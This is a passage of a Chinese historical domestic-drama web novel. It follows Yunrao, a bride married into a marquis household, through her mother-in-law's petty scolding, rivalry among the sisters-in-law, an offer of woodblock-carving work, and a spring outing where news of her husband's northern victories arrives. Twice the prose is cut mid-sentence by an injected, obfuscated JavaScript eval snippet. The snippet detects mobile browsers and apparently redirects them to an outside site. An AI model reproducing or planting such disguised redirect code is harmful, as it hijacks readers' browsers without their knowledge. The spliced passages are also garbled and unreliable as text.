从如意堂回来后她支走儿媳,独自坐在里间生闷气,就连心腹周妈妈都提心吊胆地不敢大声说话,将闲人尽数屏退。 丫鬟端来甜汤,躬身放在桌上后小心退出去。 范氏竭力克制着脾气去喝甜汤,汤送进了嘴里却死活咽不下去,她再也藏不住,砰的一声把汤碗砸在桌上,溅出大片的水渍。 “混账东西,竟在我眼皮底下弄鬼!” 怒气翻涌之下,她的声音都有些颤抖。 周妈妈赶紧将汤渍擦净,劝道:“没准儿是宁王觉得他更熟悉敌情,顾不上病情带去了沙场出主意。到时候劳心费力,他铁定撑不住。” “放屁!分明是他们弄鬼!” 范氏没法自欺欺人,便把气撒到周妈妈头上,“你还在这做美梦呢!战场上十万火急,他若真是病得动弹不得,得耽误多少功夫!”气冲冲地说到这里,听见外头丫鬟问候裴元曙的声音,她才硬生生把剩下的话咽回喉咙。 等裴元曙进屋,她也没好脸色,只递个眼色让周妈妈奉茶后退出去。 裴元曙与她一辈子夫妻,哪里瞧不出来? 却也没主动提起,只靠在罗汉榻上,挑不要紧的事情来说,“明儿永昌侯府做东踏青赏花,听母亲说也给咱们递了帖子,你去不去?” “赏什么花!”范氏气不打一处来,径直走过去道:“老二的事情你知不知道!” “这种事我怎能知道?” 范氏冷笑道:“好个侯府次子,竟是胳膊肘往外拐,伙同宁王一起来蒙咱们呢!说是在杏花阁养病,每日里药膳照样送过去,让全家人都悬着心,他却跑得无影无踪,临走连个招呼都不打!” 见裴元曙目光闪躲,范氏愈发肯定了心中猜测,道:“他不是病得不能走路吗,怎么还能去打仗!” “或许只是给宁王做个参谋。” 这话说得委实心虚,裴元曙知道瞒不过去,只好软了语气,道:“边境的战事朝廷自有安排,别说你我,就连父亲都不知内情,不过是瞎猜罢了。总归他是咱们侯府的人,若当真立了战功也是为裴家出力,你何必气成这样。” 范氏没搭理他,却别过身去抹泪。 裴元曙只好挨过去抱住她,“当初的事都怪我,你心里若有怨,冲着我就是了。他母子俩常年不在府里,一个住田庄一个在战场,也没碍着你,何苦这样闹呢?” “住田庄怎么了,还不是派人周全伺候着,谁还亏待她了不成?她倒是傲气,仿佛咱们欠了她似的,连累我都被人嘲笑悍妒!” 这话范氏是背着身抹泪说的,故而不曾察觉裴元曙脸上的片刻僵硬。 裴元曙没法子,只能好声好气的哄着她,只等范氏擦干眼泪,他才有些疲惫地出了惠荫堂,去看柳姨娘和裴锦瑶姐弟俩。 范氏哪能不知他的去处? 看着男人的背影冷笑了两声,转头便去寻儿子裴见泽。 …… 今日书院休沐,裴见泽也没去跟友朋踏青,方才去老侯爷裴固的书房请教了些学业的事,这会儿刚回院里坐下。 他承袭了裴元曙的容貌,生得玉面英姿,虽说尚无功名,却精于诗赋杂艺,也曾有过惊才绝艳的时候——当初孙氏愿意答应嫁给他,便是因从前诗会相遇时印象颇深的缘故。 此刻锦窗春暖,孙氏难得碰上夫君空暇,正铺了纸笔备好颜料,打算小夫妻一道作画来消遣。 见范氏面藏怒气地进来,孙氏与裴见泽对视一眼,赶紧迎了上去。 范氏虽爱摆婆母的款,却不太敢当真去欺负这位费心从伯府讨来的儿媳,更不敢冲她撒气,便只说有事叮嘱裴见泽,让孙氏先去外头转转。 孙氏应着,亲自奉了香茶才离开。 裴见泽请母亲往厅里坐,范氏却没动身的意思,扫了眼桌上的颜料画笔,皱眉道:“老二去北边的事你知不知道!” “今早听说了。” “你祖父怎么说的?” 裴见泽情知今日是不会有兴致作画了,自将纸张收起来,道:“祖父也没说什么。左不过是二哥征战沙场,又得宁王看重,叫我安分读书。” “就没旁的了?”范氏指着杏花阁的方向,“他先前病得半死不活,如今恐怕已生龙活虎地奔着北边去了,打量谁是傻子呢!” 这般猜测非但范氏有,旁人也是。 只不过先前裴砚瞒得密不透风,如今过了十日再被人察觉,哪怕猜得背后缘故也无妨罢了。 裴固父子看重侯府门楣,对这事欣然接受,唯有范氏,先前一心盼着裴砚栽了跟头后再也爬不起来,如今峰回路转,她被瞒天过海且期望落空,便格外懊恼气闷。 此刻见裴见泽还在风花雪月,更是气不打一处来,斥道:“老五生来体弱,我也不指望他什么。你是嫡子,难道要眼看那庶子踩到你头上!” 这样的话,自打记事起,裴见泽已听过无数遍。 他不由稍肃容色,低声道:“近来祖父对我很是看重,安排了好几件要紧事去办,有些是大哥都没碰过的。” “侯爷那边你自然该多去侍奉,请他老人家指点,府外的事也该多留心!”范氏听见儿子在侯爷心里的分量几乎越过嫡长孙,心里的气稍微顺了点,却还是道:“老二能跟宁王密谋,你别说掺和这种大事,连内情也无从窥探,实在是不该!” 裴见泽嗤道:“打仗的事有什么好掺和的,母亲难道想让我提着脑袋去卖命?” “可这也不失为一条出路。你三叔在西川节度使帐下春风得意,还有你那位堂叔,在禁军里也算是个人物。总归是要想法子挣个出路的。” 她对儿子寄予厚望,说起这些向来苦口婆心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555020|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴见泽倒也不惫懒耍滑,瞧着窗外的仆从都已被支开,便低声道:“母亲岂不知贪多嚼不烂?大哥资质平庸,祖父若真能器重我,岂不比二哥那条路好走?何况宁王并不受宠,又是带过兵的,跟他走得近未必是好事。” 范氏叹了口气,“许是我想多了。听说外头常有流民作乱,免不了派人去镇压,我只怕他踩着这股风一路青云直上。那时你我如何立足?” “朝堂自有精兵良将,轮不到他,母亲宽心就是!” 裴见泽宽慰着,见范氏眉宇间仍有隐忧,又道:“母亲若实在悬心,我寻机求祖父找找东宫的门路,或者哪怕是庆王也比那位好。” 话虽如此,范氏却还是闷闷不乐。 这股愤懑也难免波及云娆。 …… 夜里薄云堆积,到天快亮的时候下起了小雨。 阴沉沉的雨天最适宜睡懒觉,云娆在雨夜里睡得沉,起得比平常迟了些。她也顾不上吃点东西垫肚子,匆促梳妆毕,便让绿溪撑了伞陪她去惠荫堂问安。 主仆俩紧赶慢赶,却还是比平常迟了一炷香的功夫。 范氏觉少,见状脸色就有点不好看。 好在迟的也不止云娆一个人,三弟妹孙氏和五弟妹秦氏,乃至尚且待字闺中的裴锦瑶都比平常晚了许多,范氏倒不好揪着这事发作。 但心里憋了火,真想挑刺儿也不难。 淅淅沥沥的下雨天,范氏不必冒雨去如意堂哄太夫人,正好让人摆了早饭,在儿媳们的簇拥下慢慢享用。 喝着香喷喷的瘦肉粥,她向秦氏问了儿子的身体,得知不像往年似的春日羸弱了,不由道:“祐儿能娶到你,实在是他的福气。平素多亏你照顾他身子,起居用药无不周全,实在是用心了。” 秦氏有医术傍身,不爱跟她虚客套,却又真心爱护丈夫,闻言便只道:“他是有福气的,定能康健起来。” 范氏满意颔首,又觑向云娆。 “老二这回倒是出乎意料,养病的人忽然没了踪影人去楼空,实在让人悬心。他先前病得那样,不知后来可有好转?” 云娆一听这话,便知是挖坑了。 且不说裴砚的身子和行踪牵涉战事,她答应了绝不泄露,哪怕没这档子事,杏花阁里明令不许轻易搅扰,她上哪儿问病情去? 只好道:“媳妇惭愧,对杏花阁的事确实不太清楚。” 范氏的脸立时就沉了下来。 “虽说那边有规矩,但你既嫁给老二成了他的妻子,自然与旁人不同,合该多去探望关照!”她搁下碗盏,摆出婆母训话的款儿,沉着脸道:“娶你过来是为伺候老二,不是为偷懒享清福,这样的疏忽大意,往后绝不可再有了!” 这口锅扣得实在冤枉,孙氏仿若未闻般垂着头为婆母盛粥,裴锦瑶明摆着是看戏甚至幸灾乐祸的架势,秦氏则有点同情地瞥了云娆一眼。 云娆还能怎么办? 裴砚临走前特地叮嘱过,侯府奈何不了他,或许会在她头上寻衅找茬,如今看来还真是未卜先知。 这婚事结得……实在是个大坑! 12. 妯娌 有裴砚的叮嘱在前,秉着人在屋檐下不得不低头的古训,云娆没顶撞范氏这无事生非的训诫,免得她摆着婆母的款儿穷追不舍。 既是恭顺受训,范氏也就不好唠叨了。 一顿饭不尴不尬地吃完,范氏留了裴锦瑶帮她打理外头新送来的丝线,三个儿媳各自回去。 秦氏满腹心思都扑在医术上,每日在屋里捣鼓药材调养夫君身体,甚少掺和侯府的杂事,跟妯娌姑嫂也都不亲不疏。 出了惠荫堂后同她两位嫂嫂行礼道别,片刻都没多留,径直奔住处去了。 云娆有一段跟孙氏顺路,难免同行。 春雨淅沥,打湿廊下初绽的桃花,青透的迷蒙雨气笼罩着花木亭榭,若细细漫步赏玩实则别有滋味。 孙氏却似有些烦厌,皱着眉道:“原还想着去看看花,这雨下得实在心烦,也只好回屋躲着了。”见云娆瞧着雨幕心不在焉地点了点头,她又道:“还在想方才的事?” “什么?”云娆没太明白,回头看她。 孙氏便笑道:“婆母那也是关心情切,担忧二哥的伤势罢了。我刚嫁进来的时候也没少听婆母训话,你别太放在心上。” 这话看似安慰宽解,云娆却不敢轻信,便浅笑道:“怎么会呢。原就是我疏忽大意,莫说照料将军的起居,连他的去处也不知晓。婆母教训得很是,往后我自会留心。” “你能这样想,也就不辜负婆母的苦心了。”孙氏笑吟吟的,又扯了几句闲话,等行到岔路口便互相道别,拐往自己住的停云馆。 等回院后掩上屋门,贴身丫鬟含春服侍她换衣裳时,孙氏想着方才的情形,不免摇头,“说起来,我这位婆母还真是眼光独到。拿捏不了我和五弟妹,便挑了这么个小门小户的丫头,被无端找茬还能逆来顺受。我还以为她心里憋着气,会口出怨言呢。” 含春笑回道:“她能嫁进侯门已是走运了,讨好长辈还来不及,哪敢有怨气呢。” “也是。二哥本就不讨喜,她背后又没人撑腰,但凡敢顶撞半句,婆母怕是有一百句能训斥她。瞧着吧,好戏还在后头呢。” 孙氏昨儿没能跟裴见泽作画,这会儿便让人取了颜料,让人掩上窗扇隔开雨声,自去描画那副牡丹仕女图。 …… 云娆这会儿却仍沉浸在雨声里。 枕峦春馆背靠矮丘,不远处还有一方小池塘,引了外头的活水进来,种了半池荷花。 相较于如意堂后面精心筑造的景观,这小池塘在侯府实在不起眼,寻常也几乎没谁会大老远来赏看。 这倒便宜了云娆。 春日青嫩的草木在雨幕里青翠微摇,天地间唯有细润的雨声,坐在临水的凉亭里,看着水面荡起的一圈圈涟漪时只觉清新而安静。 从前在闺中时,她最喜欢跟母亲和长嫂坐在窗边喝茶听雨。 也不知这会儿她们在做什么。 云娆带着绿溪在雨中坐了半晌,回院时已平静如常,待用过午饭歇了会儿,便仍起身往小书房去。 等傍晚时分雨收云散,仍去拜见长辈。 暖春三月,气候已十分宜人。 云娆跟着范氏到太夫人住的如意堂时,里头已聚了好些人,见二房婆媳过来,太夫人便笑着招招手。 “来得正好,正想跟你们商量呢。”太夫人被薛氏婆媳哄得满面笑意,向范氏道:“前两日咱们都是去别处赴春宴,如今天气既暖和了,也该出去走走。她忙活了半个月,京郊的那处院子都收拾好了,不如咱们去小住几日?” 说着话,便睇向薛氏。 薛氏一身明艳打扮,陪坐在太夫人旁边,笑道:“兄弟们还有要上学的,去不去全看他们。咱们这边,母亲、四弟妹和两位妹妹都去,祖母近来身子骨硬朗,也想出去活动活动筋骨,二婶,你觉得怎样呢?” 范氏前些日来如意堂时,丝毫没听谁提起去别苑小住的事,今日听见这话,显然是长房早就商量好办妥了,单等着通知她呢。 且太夫人都要去,她哪能说不去的话? 便只笑道:“难为你费心准备,既然都收拾出来了,岂能辜负这番苦心?别说是我,她们几个也是要去的。” “二婶婶这样捧场,咱们这回可就热闹了!”薛氏笑得金钗轻摇,虽得了范氏允诺,却还是向孙氏等道:“你们都有空暇吧?” 孙氏原就觉得府里闷得慌,乐得跟过去散心,自然点头称是。 裴锦瑶待嫁的年纪却尚未议定婚事,也很想去外头露个脸,闻言自是欣然。 倒是秦氏有点放不下丈夫,有点迟疑地道:“我还是留在府里吧,好照看汤药。” 薛氏当即道:“这有什么好担心的!我昨儿瞧老五出门时比往年可精神多了,不过是小住几日罢了,耽误不了什么,你也该松快松快。” 她一副大包大揽说一不二的模样,范氏明知她是有意显摆能耐,却不敢扫太夫人的兴,便劝道:“无妨,让旁人照料吧。” 婆母既已发话,秦氏只好答应。 薛氏见状,便笑向太夫人道:“既是都要去,我就让人安排。咱们初八动身过去,祖母觉得如何?” 阖府女眷的行程在她谈笑间决定,薛氏将二房几位都问过,却偏偏漏了才进门的云娆,只管问太夫人去别苑后想如何取乐。 这姿态非但藐视云娆,连范氏脸上都有点尴尬。 对面明氏大约是实在看不下去,笑向云娆道:“二嫂刚嫁过来,还没去过咱们的别苑。那边风景很不错,里头还有座漂亮的书楼,或许你会喜欢,到时候我陪你去瞧瞧。” 她的声音温和,性情也颇宽柔。 云娆嫁进侯府快一个月,虽说平素甚少掺和家事,晨昏定省时在如意堂碰见妯娌姑嫂,对各自的性情渐渐也摸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555021|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几分。 薛氏仗着家世过人,眼高于顶也不是这一两天了,耀武扬威起来,别说是她,连范氏都会挤兑暗讽。 就连身为侯府嫡女的裴雪琼都曾暗里被奚落了几回。 倒是明氏性子和婉,先前天气好的时候还与裴雪琼一道邀云娆赏玩侯府后花园,很是通情达理。 此刻她有意化解,云娆自然接了话茬。 连同秦氏都不满于薛氏的张扬做派,一道聊了起来。 这般闲聊着,等众人一道在如意堂用完了饭,薛氏婆媳和范氏、孙氏留下来陪太夫人推牌,旁人则各自回屋。 因方才说起明氏新得了一幅《秋山图》,用笔设色十分独到,裴雪琼很想一睹真容,见云娆也有兴致,便拉她一道顺路去瞧。 剩下裴玉琳因要嫁入王府为妾,这阵子沉溺在保养肌肤容色,对画作无甚兴致。秦氏惦记着新制的药丸,要赶回去瞧瞧火候。裴锦瑶原本想去凑个热闹,见裴雪琼竟邀了云娆,当即就谢绝了。 等云娆她们拐过游廊,她几步赶上秦氏,撇嘴道:“五嫂嫂,你说四妹妹怎么这样!” 秦氏被她问得一头雾水。 裴锦瑶便道:“她原是小门户,靠着冲喜才能嫁进咱们府里!母亲都不太把她放在眼里,偏巧四妹妹把她当个宝,做什么都帮着她。” “性情相投罢了,这有什么。”秦氏虽不爱掺和是非,在侯府日子久了,对各自的性情多少有些把握。 裴锦瑶却不以为然,“二姐姐尚且对她爱答不理,四妹妹怎么说都是咱们侯府的嫡女,却偏要自降身份!她的出身可比咱们差远了。” 这话说得就有些不好听了。 秦氏不甚在意门户高低和身份嫡庶,便只道:“终归是二哥明媒正娶来的,宫中皇后尚且能出自民间,人各有命罢了。何况二嫂家也算书香传家,她兄长年纪轻轻的进士及第仕途顺遂,算起来可比你五哥还强些,我都羡慕呢。” 她不好议论旁人,只将自家丈夫裴见祐摆出来,半认真半玩笑的提点。 裴锦瑶没能从她嘴里寻得赞同,只好嘀咕道:“进士怎么了,过些日子春闱放榜,我三哥肯定也能高中!” …… 明氏的那幅《秋山图》让云娆一饱眼福,隔日后晌,青霭又从外面拿来了一幅画轴。 春风柔暖,云娆今儿偷了个懒,正坐在窗边翻看话本解闷。 青霭跟常妈妈进了院,满脸喜色地奔向小书房。 她俩今日外出,一则是替云娆采买些胭脂水粉和纸墨,再则是顺道去趟江家,好帮云娆瞧瞧家人的近况。 云娆听见院门口的动静,瞧见青霭则喜滋滋的模样,还以为是娘家有什么喜事,不由搁下书卷起身往外走,想快些听个好消息。 谁知青霭一进门,竟笑嘻嘻道:“恭喜少夫人,上回刻的那幅雕版可算是刻出名堂啦!” 13. 机遇 云娆被恭喜得满头雾水,后面绿溪也凑过来,问道:“怎么回事?刻出什么名堂了?” 青霭将怀里抱着的锦盒搁在案上,取出里头的一卷画轴,将缘故慢慢道来。 事情起于前阵子雕好的那幅经变图。 云娆自从五岁时在父亲的指点下头一回捉刀雕刻,这些年刻刀用废了不知多少,将手艺磨砺得十分出色。 不过江家不开书坊,她也无需靠刻字糊口,先前也只是当爱好罢了。后来瞧见寺里的经变图,觉得版画比刻字还有趣,便也尝试着雕刻几幅,画面由简而繁,因技艺精湛,还曾被住持盛赞。 时下崇尚礼佛,云娆为求徐氏康健,便常帮寺里刻些经变画,权当为母祈福。 先前的几幅虽则精美,却也没人追问来处。这回云娆花了一个多月的时间帮东园寺雕刻的那幅《祗园说法图》,非但底图画得精美,雕刻时也费了许多心血,线条有力图样繁密多变,连同人物神情都颇为传神,印出之后广受赞誉。 十余日前,富春堂的东家贺仙之携妻女去寺里进香,瞧见那幅经变图后甚为赞叹,特地寻到住持跟前询问雕刻之人。 住持不好道出云娆的身份,先询问他来意。 贺仙之便说他有意刻印一套山水人物画,跟画师们都说好了。只是他家的刻师多半工于文字,版画上的技艺颇为生疏,且画作讲究气韵,非但要有精湛的雕刻技艺,也须对书画有点造诣,方能刻出精髓。 因版画雕刻起来太慢,他打算请四五位刻师合力来做。目下只寻了两位老刻师,瞧着寺里那幅图十分精美,便欲请教背后之人。 住持听闻,倒觉此事甚好。 不过云娆毕竟是女眷,他不便透露太多,加之东园寺与靖远侯府素无往来,便让人给徐氏递了消息,请她代为转达。 “住持说了,少夫人若愿意刻这些图画,只管给富春堂回个消息,贺先生自会设法深谈。”青霭兴冲冲的说着,又指了指那卷画轴,“这是贺先生摹的画,先请少夫人瞧瞧,若这幅能雕刻好,旁的自然无碍。” 云娆展开那画卷匆促扫了一眼,心头也自砰砰跳了起来。 十来年的习练,她其实也想一展身手。 先前母亲帮她挑中燕熙,也是因他家有座不小的书坊,能让云娆往后有用武之地,安心做喜欢的事情。 如今她虽嫁进侯府,对版画的热爱却未减分毫。且看裴砚那架势,当时由着范氏安排冲喜是为边塞战事着想,未必真心愿意接纳这桩婚事,等边塞战事了结,未必不会有变数。 她往后会在侯府留多久,这事儿没人说得清楚,但版画却是她愿意终身去做的事。 云娆捏着画轴,不自觉看向常妈妈。 常妈妈今日也去了江家,见状温声道:“夫人说,侯府自恃身份,未必愿意让你做这种事,免不了嘀咕念叨。但若你真心想做,倒不必太顾虑。真到了水火不容的时候,正好掰扯清楚了回娘家去。家里养得起,更不会束着你的手脚。” 这是徐氏的原话,云娆听后忍不住有点眼眶微热。 她确实有此顾虑。 以她如今的身份和处境,若真去跟富春堂详谈此事,一旦被人察知,大抵会斥为与商贾同流牟利——迥异于明家自掏腰包襄助学子的私刻,富春堂是靠刻书赚钱的,即便贺仙之初衷不错,也难免被薛氏之流鄙弃。 但论私心,云娆却很想做这种事。 时下坊间刻书时多半是文字,所刻的画作极少,也只经变图、年画等刻得多些。 贺仙之选的这幅画是颇有名气的佳品,若真能将这套山水人物画刻印出来,许多人难以企及的画作便可飞入寻常百姓的门户。 哪怕刻本不及墨本精美,却也弥足珍贵。 于她也是一次磨炼。 她攥着画轴,看到常妈妈脸上的笑意,而陪伴她长大的青霭与金墨站在两旁,眼底也暗藏期许。 就连绿溪都有点蠢蠢欲动,低声道:“少夫人去见长辈时总是拘束着不得自由,只有回来了才能见些笑意。府里规矩重,总归要做些喜欢的事,这日子才好熬下去。” 更何况这婚事原就是强扭的瓜,日后若处得好便罢,若真是志趣不相投,未必不能各奔前程。 绿溪没敢说这句话,这些天积攒的忿忿不平却呼之欲出。 云娆忍不住戳戳她的脸蛋。 “瞧你,嘴巴撅得都能挂油壶了。”她嘴上打趣着,将画卷暂且收起,道:“富春堂不急着回消息吧?我再想想。” 有母亲和兄长撑腰,她便无需担忧范氏之流的态度。 只不过贺仙之既有心做此事,从画师润笔到刻师之功乃至刊印售卖,总需投入许多精力和银钱,这底板定得极精美才行。否则,非但耗费银钱,也辜负富春堂的苦心和其余刻师的心血。 她总需详谈一回,对自家技艺有足够的把握,才敢去接这重任。 …… 因阖府女眷前往别苑小住的日子近在眼前,云娆又是刚嫁进来的新妇,单独出门需禀明婆母首肯再安排车马,繁琐得很,便没去找不痛快。 到三月初八那日,先随众人前往别苑。 裴家的这处别苑在京郊的白云岭,离京城不算太远,却是个叠嶂层峦围出来的好地方。 依着或起伏或平缓的地势,非但有茂林清溪,梅坡花海,还藏着几处温泉,向来都是京城权贵所钟之处。 裴家当初也是从没落的勋爵手中购得别苑,又请工匠精心修缮,虽说地方不太大,屋舍却还算齐备,每年春秋时节都能来小住。 如今春色未暮,正是繁花如锦时。 成群的仆从拥着一溜马车驶过长街,京城的百姓早已见怪不怪,只议论着高门贵户踏青的所在,而后呼朋唤友地去踏青。 云娆这回只带了绿溪和青霭,连同衣裳包袱等正好用一辆车。 长辈们的车马在队伍之首,她不必赶去伺候,倒可以趁机赏玩两侧的风光。 自幼长于京城,风物已然看惯,但每年春 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这样的氛围,倒是云娆在裴家头一回体验。 没了在如意堂的口角争锋,各自听曲观舞说说笑话,又有佳肴果品佐兴,倒真是有家人团聚共同取乐的趣味了。 这场小宴直至夜半方散。 踏着皎皎月色回院时,就连平常喜欢独来独往的秦氏都比平常话多些,加之明氏和婉平易,闲聊着回去各自歇下,让这一日颇为圆满。 翌日起得迟些,三人从容梳洗过后到流杯亭聚齐,就着山景用了晌午饭,等太夫人歇完午觉便到近处赏玩。 途中风景自不必说,还碰见了不少人家。 最熟络的便是薛氏的娘家安国公府。 两下里碰见,对面也是绮罗珠翠簇拥着年近花甲的国公夫人,刚从她家圈起来的温泉回来,要去看近处初绽的成片海棠。 两位老人家都乘着肩舆,让仆妇驻足后搀扶着起来,各自握住了手热情寒暄。 因薛氏是嫡幼女,论辈分,如今的安国公夫人其实算是她的伯母,加之年岁更小些,对裴家太夫人便颇为客气。末了,又说后日起薛家在近处有有小宴诗会等事,打算邀请这些天来白云岭踏春的别家女眷一道赏玩,请裴家务必赏脸。 裴太夫人哪有不应的? 薛家非但爵位高,因着宫里薛贤妃和膝下公主的关系,在皇上跟前都能有一席之地,在白云岭占的地方也格外宽敞,每回宴请都是大手笔。 如今薛氏在裴家主掌中馈劳心费力,是两层长辈都器重心疼的媳妇,既碰见了,自然都得去捧场。 薛氏显然也为此颇为得意。 怕太夫人累着,翌日只在别苑附近的溪水旁散散心,到娘家设宴那日便盛装打扮着往薛家别苑去。 ——非但三位长辈,连原本不太想去凑热闹的妯娌姑嫂都一个不落,全招呼了过去。 也是这场宴席,让云娆终于听到了关乎裴砚的消息。 14. 夸赞 谷雨才过,山川青黛。 薛家的宴席设在阔敞的溪水边,连夜摆设的桌椅几案随着溪水蜿蜒,旁边则有青茂的树冠遮出荫凉,在柔暖春风里很是惬意。 这样的地方和天气,既宜宴饮赏玩,也可踏青游乐。 裴家众人过去时,已经来了不少宾客女眷,都是在这白云岭有别苑山庄,趁着春光晴媚来散心游玩的。 安国公夫人坐在最前面的彩锦凉棚里,正招呼着四五位邀来的贵眷,见侄女带着裴家一群女眷浩浩荡荡地走过来,眼底笑意愈发浓了。 ——嫁出去的女儿在婆家一呼百应,这于薛家而言也是脸上增光的事情。 反正水边地方宽敞,再添多少人都不怕,还更显得两家姻亲紧密,相处融洽。 安国公夫人笑得合不拢嘴,起身亲自去迎裴太夫人和崔氏、范氏,又让儿媳招呼两房的姑娘妯娌,在一顿寒暄见礼后分派了座位。 薛氏同祖母、婆母和婶母陪坐在上首,颇受疼宠的嫡女裴雪琼和待嫁王府的裴玉琳留在跟前,余下的座次稍稍靠后。 云娆乐得清净,与明氏、秦氏等人依序而坐。 风摇树梢,天朗气清。 面前是浅草围着的濯濯清溪,就着香甜的果品抬目远眺,非但有丛丛春花烂漫,还隐约能瞧见远处树林后男儿们打马球的矫健身影。 偶尔那边技惊四座,欢呼声也会传到耳边。 这般春日氛围让人满身松快。 云娆头回赴宴,并不认识对面的女眷们,明氏和孙氏便介绍给她。对面的女眷早知侯府次子取了个小美人冲喜,如今见着真容,虽则有人心里嘀咕身份悬殊,却也有人觉得高嫁低娶无可厚非,只赞赏于新妇的美貌。 连同上首的安国公夫人都在留意不远处那道丽色。 “先前你家二郎娶亲,我没能亲去道贺,方才瞧她那样乖巧行礼,倒真是好模样。”她一辈子养尊处优,又有个出息的女儿,优渥尊荣里颐养天年的人,笑容格外慈和。 范氏只好笑道:“太夫人过誉了,宫里娘娘的眼光自是没错的。” 安国公夫人是薛贤妃的生母,虽不知夸云娆的是宫里哪位娘娘,听了这话却也舒服,便又道:“先前你家二郎病到要冲喜的地步,我还有些忧心。如今看来,这婚事着实结得不错,我听说他随宁王北上之后力挽狂澜,已拦住了北夏的凶猛势头,果真年轻有为。” 旁的女眷听闻,也都饶有兴趣地看向范氏。 北夏挥兵南下长驱直入的事在二月里就已传遍京城,听说当时还攻克了几座城池,让人很是担忧了一阵。后来战况如何,寻常人家未必能探到,薛家却是皇亲,男儿在朝中又居于高位,这消息必定错不了。 她这般夸赞裴砚,想必立功不小。 且如今京城里风传外头常有流民作乱,当地官府镇压不住,特地派了禁军过去帮忙,这样内忧外患的时候,能征善战的武将便格外引人瞩目。 立时有不明内情的人就着话茬夸赞起来,恭喜裴家教子有方。 就连崔氏也觑着范氏道:“当初战事胶着,我虽在后宅也难免捏了把汗。如今局面既能扭转,想来我大梁将士必定会愈发勇猛,回头论功行赏,可少不了弟妹的份。” 范氏情知长嫂是在讽刺,在众女眷跟前却不能表露半分,只好摆出笑容跟着夸一夸裴砚。 薛氏婆媳却还没打算放过她。 裴砚跟府里关系冷淡,多半是由裴元曙夫妇而起,长房有嫡长子和姻亲扶持,只消裴砚不来挑事,她们乐得有人为侯府门楣增光添彩。 此刻既说起这茬,薛氏便也笑道:“可不是么,婶母为安排冲喜费心劳累,如今二弟转危为安重整旗鼓,婶母也算如愿了。” 那边阴一句阳一句地聊着,云娆坐在下首,也竖起耳朵细听。 裴砚龙精虎猛地闯进卧房的那一夜,她便猜到这场“重病”或许跟北夏有关。而能让宁王和裴砚费尽心思设局,连裴砚的婚事都搭了进去,足见敌人有多强悍。 强拧的婚事里,她还没把裴砚当夫君来看待。 但为国浴血厮杀的将军却让人钦佩。 裴砚离开的这段时日里侯府仿佛忘了这位次子,没多提过半个字,云娆偶尔看着榻边的空枕想起来,却总有些担心出征之人的安危。 却原来他勇武如旧。 既然没有真的被北夏重伤不起,想来这次力挽狂澜之后他应能得偿所愿,换得边疆安稳无事。 那便祈愿他平安归来吧。 云娆抬目,透过光影摇动的枝叶缝隙望向北边湛蓝的天空。 …… 一场溪边小宴,除了范氏不得不强颜欢笑,旁人都颇愉快。 晌午过后,老人家们去歇觉,年轻些的或是告辞回住处,或是就近闲逛赏春,或是去小树林后的马球场——马球场在薛家别苑之外,这两日聚了不少京中儿郎,热闹得很。 薛氏自去侍奉长辈,崔氏和范氏也有薛家人招待,余下的便无需拘束。 裴玉琳惦记着嫁进王府后的待人接物,特地缠着崔氏过去,打算多从这座与皇家沾亲的公府学些规矩。 裴锦瑶虽有此心,奈何范氏与薛氏关系微妙,憋了满肚子的闷气之后顾不上她,只好去与旁的小姐妹同游。 倒是裴雪琼,崔氏原有意带女儿多交游,她却不爱应付那些规矩繁重的场合,趁着宴散时女眷们客套的间隙一溜烟跑了个没影。 等云娆等人往回走时,她却不知从哪里冒了出来。 “那边马球好热闹,陪我去瞧瞧好不好?” 她与明氏处得格外亲厚,上来就先拉住了自家亲嫂嫂,而后又牵着云娆的衣袖晃了晃,“二嫂嫂、三嫂嫂、五嫂嫂,你们也都去吧!” 裴雪琼两眼弯弯,声音比笑容还甜。 秦氏今日心绪甚好,忍不住笑道:“难怪方才瞧不见你,原来是藏着鬼主意呢!不过我待会还有点事,就不陪你去玩了。” “五嫂嫂定是又瞧上哪个山头了,想去看有没有好的草药!”裴雪琼一语道破。 秦氏笑着承认。 旁边孙氏却没她这样好的理由。 今日宴席上薛家人猛夸裴砚在战场上的英武,她也听得一清二楚。嫁进裴家这么久,孙氏很清楚婆母的脾气秉性,情知今日范氏在长房婆媳面前吃瘪气闷,若让婆母知道她还跟长房姑嫂俩去玩,恐怕又要落一通埋怨。 她原就爱重裴见泽的姿貌,有意讨得婆母欢心,这会儿便只道:“这两日四处观赏,方才又多吃了些,这会儿觉得疲惫犯困,想回去歇歇呢。” “好吧。”裴雪琼原也没期待她会去,只挽着 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白云岭原就是高门贵户所钟之处,来游玩时难得碰见这样的球场,又有王府的人周到照应,哪有不喜欢的? 这么些年下来,无不对庆王赞誉有加。 今日球场上马蹄飞扬疾驰,除了高门贵户的子弟和亲朋眷属,还有慕名而来的寻常儿郎,这会儿流星飒沓,打得正酣。 姑嫂几个寻了空地,仆妇很快搬来椅子。 场上竞逐不休,周遭喝彩阵阵。 裴雪琼方才在溪边小宴上甚少开口说话,这会儿倒是欢欣得很,双手随意把玩着腰间的白玉宫绦,嘴里对场上的球技评点不止。 云娆起初没觉得怎样,渐渐的就这咂摸出点味道了。 场上十余个儿郎各有精彩之处,裴雪琼虽看似一碗水端平地夸赞,但细数下来,唯对一位少年格外关注—— 